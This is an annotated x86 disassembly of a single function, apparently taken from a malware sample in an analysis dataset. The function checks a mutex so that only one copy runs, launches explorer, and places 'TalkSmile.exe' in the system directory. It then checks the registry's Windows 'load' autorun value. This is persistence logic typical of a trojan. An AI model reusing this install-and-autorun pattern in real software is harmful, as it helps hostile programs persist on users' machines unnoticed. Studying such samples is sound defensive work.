Function at 0x4022a0
Capabilities:
Check mutex on windows
Create process on windows
Get common file path
Query or enumerate registry value

Disassembly:
sub esp, 0x324
xor ecx, ecx
mov al, byte [0x409e60]
mov dword [esp + 5], ecx
push esi
mov dword [esp + 0xd], ecx
push edi
mov dword [esp + 0x15], ecx
mov byte [esp + 0xc], al
mov dword [esp + 0x19], ecx
mov byte [esp + 0x124], al
mov word [esp + 0x1d], cx
xor eax, eax
mov byte [esp + 0x1f], cl
mov ecx, 0x40
lea edi, [esp + 0x125]
lea edx, [esp + 0x124]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
push edx
push 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0xc]
push 0
push eax
push 0
lea ecx, [esp + 0x130]
push 0
push ecx
call fcn.00402c4c
lea edx, [esp + 0x20]
push str.TalkSmile
push edx
call fcn.00402bc0
add esp, 0x1c
test eax, eax
je 0x40249b
push 5
lea eax, [esp + 0x10]
push 0
push eax
push str.explorer
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40237e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40237e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
add esp, 0x324
ret 0x10
push ebx
lea edx, [esp + 0x28]
push 0x100
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x409040
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x28]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x28]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.TalkSmile.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0xc]
mov ecx, ebx
push eax
push 1
and ecx, 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push 0x80000001
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [esp + 0x24]
lea edx, [esp + 0x22c]
mov eax, dword [esp + 0xc]
push ecx
push edx
push 0
push 0
push str.load
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea esi, [esp + 0x28]
lea eax, [esp + 0x22c]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x402461
test cl, cl
je 0x40245d
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x402461
add eax, 2
add esi, 2
test cl, cl
jne 0x402439
xor eax, eax
jmp 0x402466
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
pop ebx
je 0x4024f0
push 0x304
call fcn.004026d0
mov esi, eax
add esp, 4
mov ecx, esi
call fcn.004021c0
push esi
call fcn.00402bb2
add esp, 4
xor eax, eax
pop edi
pop esi
add esp, 0x324
ret 0x10
push 0x40c
call fcn.004026d0
mov esi, eax
add esp, 4
mov ecx, esi
call fcn.00401360
push esi
call fcn.00402bb2
add esp, 4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x40c
call fcn.004026d0
mov esi, eax
add esp, 4
mov ecx, esi
call fcn.00401de0
mov ecx, esi
call fcn.00401f40
push esi
call fcn.00402bb2
add esp, 4
call fcn.00402500
pop edi
xor eax, eax
pop esi
add esp, 0x324
ret 0x10